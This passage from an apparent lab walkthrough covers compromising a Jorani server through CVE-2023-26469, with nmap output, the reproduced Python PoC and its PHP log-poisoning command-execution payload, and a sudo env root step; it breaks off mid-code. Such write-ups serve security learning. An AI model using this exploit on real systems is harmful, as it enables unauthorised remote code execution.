<p>Jordak looks quiet at first glance. A full TCP scan shows only SSH on <code>22</code> and Apache on <code>80</code>, and the web title is the stock Ubuntu default page. The lab name and the reachable <code>/session/login</code> path tell a different story: the host is running <strong>Jorani</strong>, a leave and overtime management system.</p>
<p>Public research lands on <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469</a>: unauthenticated remote code execution in Jorani prior to <code>1.0.2</code>, built from log poisoning, header-based redirection bypass, and path traversal into the daily PHP log. The PoC yields a pseudo-shell as <code>jordak</code>. From there, <code>sudo -l</code> shows passwordless execution of <code>/usr/bin/env</code>, which is enough to run commands as root.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>Start with a full TCP scan plus service/version detection and default scripts:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.109 -v</span><br></div></code></pre></div></div>
<p>Full scan output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Completed NSE at 23:00, 0.00s elapsed</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report for 192.168.120.109</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Host is up (0.031s latency).</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Not shown: 65533 closed tcp ports (reset)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| ssh-hostkey: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-trane-info: Problem with XML parsing of /evox/about</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| http-robots.txt: 1 disallowed entry </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-server-header: Apache/2.4.58 (Ubuntu)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-title: Apache2 Ubuntu Default Page: It works</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| http-methods: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  Supported Methods: HEAD GET POST OPTIONS</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-favicon: Unknown favicon MD5: 96C540E05EFE5C9E11F15DD5CE70BB0F</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br></div></code></pre></div></div>
<p>Port <code>22</code> is ordinary SSH. Without credentials, it is not the initial-access path. Port <code>80</code> is the attack surface — but the default Apache banner is a distraction, not the product.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="identifying-jorani">Identifying Jorani<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#identifying-jorani" class="hash-link" aria-label="Direct link to Identifying Jorani" title="Direct link to Identifying Jorani" translate="no">​</a></h3>
<p>The machine name <strong>Jordak</strong> is a strong hint toward <strong>Jorani</strong>. Confirm by hitting the login route used by the application:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http://192.168.120.109/session/login</span><br></div></code></pre></div></div>
<p>That path is enough to stop generic fuzzing and move into product-specific CVE research for Jorani leave management.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation-path">Exploitation path<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#exploitation-path" class="hash-link" aria-label="Direct link to Exploitation path" title="Direct link to Exploitation path" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="cve-2023-26469">CVE-2023-26469<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#cve-2023-26469" class="hash-link" aria-label="Direct link to CVE-2023-26469" title="Direct link to CVE-2023-26469" translate="no">​</a></h3>
<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26469" target="_blank" rel="noopener noreferrer" class="">CVE-2023-26469</a> affects Jorani prior to <code>1.0.2</code>. The public PoC (by Guilhem Rioux / <code>@jrjgjk</code>) chains three issues:</p>
<ol>
<li class=""><strong>Log poisoning</strong> — attacker-controlled input (including PHP) is written into the application log.</li>
<li class=""><strong>Path traversal via the language parameter</strong> — the login request can point the app at <code>../../application/logs</code>.</li>
<li class=""><strong>Header-based command delivery</strong> — a random custom HTTP header carries a base64-encoded command; when the poisoned log is rendered through <code>/pages/view/</code>, that payload executes.</li>
</ol>
<p>PoC reference: <a href="https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py" target="_blank" rel="noopener noreferrer" class="">Orange-Cyberdefense / CVE_Jorani.py</a></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="poc-pocpy">PoC (<code>poc.py</code>)<a href="https://blog.artofvector.com/blog/jordak-jorani-cve-2023-26469#poc-pocpy" class="hash-link" aria-label="Direct link to poc-pocpy" title="Direct link to poc-pocpy" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token triple-quoted-string string" style="color:#e3116c">"""</span><br></div><div class="token-line" style="color:#393A34"><span class="token triple-quoted-string string" style="color:#e3116c">vulnerability covered by CVE-2023-26469</span><br></div><div class="token-line" style="color:#393A34"><span class="token triple-quoted-string string" style="color:#e3116c">"""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> readline</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> requests</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> datetime</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> sys</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> re</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> base64</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> random</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> string</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">requests</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">packages</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">urllib3</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">disable_warnings</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">requests</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">packages</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">urllib3</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">exceptions</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">InsecureRequestWarning</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">msg </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">y</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"\n"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f'\x1b[92m[+]\x1b[0m </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">x</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> end</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">y</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">y</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"\n"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f'\x1b[91m[x]\x1b[0m </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">x</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> end</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">y</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">y</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"\n"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f'\x1b[93m[?]\x1b[0m </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">x</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> end</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">y</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">CSRF_PATTERN </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token builtin">compile</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'&lt;input type="hidden" name="csrf_test_jorani" value="(.*?)"'</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">CMD_PATTERN </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token builtin">compile</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">'---------(.*?)---------'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">S</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">URLS </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token string" style="color:#e3116c">'login'</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'/session/login'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token string" style="color:#e3116c">'view'</span><span class="token plain">	</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'/pages/view/'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">alphabet </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> string</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">ascii_uppercase</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">HEADER_NAME </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">''</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">join</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">random</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">choice</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">alphabet</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token builtin">range</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">12</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">BypassRedirect </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token string" style="color:#e3116c">'X-REQUESTED-WITH'</span><span class="token plain">	</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'XMLHttpRequest'</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	HEADER_NAME		</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">INPUT </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic"># The input used for the pseudo term</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">u </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">y</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> URLS</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">y</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">POISON_PAYLOAD		</span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"&lt;?php if(isset($_SERVER['HTTP_"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> HEADER_NAME </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"'])){system(base64_decode($_SERVER['HTTP_"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> HEADER_NAME </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"']));} ?&gt;"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PATH_TRAV_PAYLOAD	</span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"../../application/logs"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> __name__ </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'__main__'</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">print</span><span class="token punctuation" style="color:#393A34">(</span><span class="token triple-quoted-string string" style="color:#e3116c">"""</span><br></div><div class="token-line" style="color:#393A34"><span class="token triple-quoted-string string" style="color:#e3116c">	/!\\ Do not use this if you are not authorized to /!\\</span><br></div><div class="token-line" style="color:#393A34"><span class="token triple-quoted-string string" style="color:#e3116c">		"""</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"POC made by @jrjgjk (Guilhem RIOUX)"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"\n\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">if</span><span class="token punctuation" style="color:#393A34">(</span><span class="token builtin">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		err</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Usage: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">sys</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">argv</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">[</span><span class="token string-interpolation interpolation number" style="color:#36acaa">0</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">]</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c"> &lt;url&gt;"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		exit</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Header used for exploit: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">HEADER_NAME</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">	</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	t </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sys</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	s </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> requests</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">Session</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Requesting session cookie"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	res </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">u</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">t</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"login"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> verify </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">False</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	C </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> s</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">cookies</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">get_dict</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	Date </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">date</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">today</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log_file_name </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string-interpolation string" style="color:#e3116c">f"log-</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">Date</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">year</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">-</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation builtin">str</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation">Date</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">month</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">zfill</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation number" style="color:#36acaa">2</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">-</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation builtin">str</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation">Date</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">day</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">.</span><span class="token string-interpolation interpolation">zfill</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation number" style="color:#36acaa">2</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	csrf_token </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">findall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">CSRF_PATTERN</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">text</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Poisonning log file with payload: '</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">POISON_PAYLOAD</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">'"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	log</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Set path traversal to '</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">PATH_TRAV_PAYLOAD</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">'"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	msg</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"Recoveredd CSRF Token: </span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation">csrf_token</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	data </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token string" style="color:#e3116c">"csrf_test_jorani"</span><span class="token plain">	</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> csrf_token</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		</span><span class="token string" style="color:#e3116c">"last_page"</span><span class="token plain">			</span><span class="token punctuation" style="color:#393A34">:</span><span 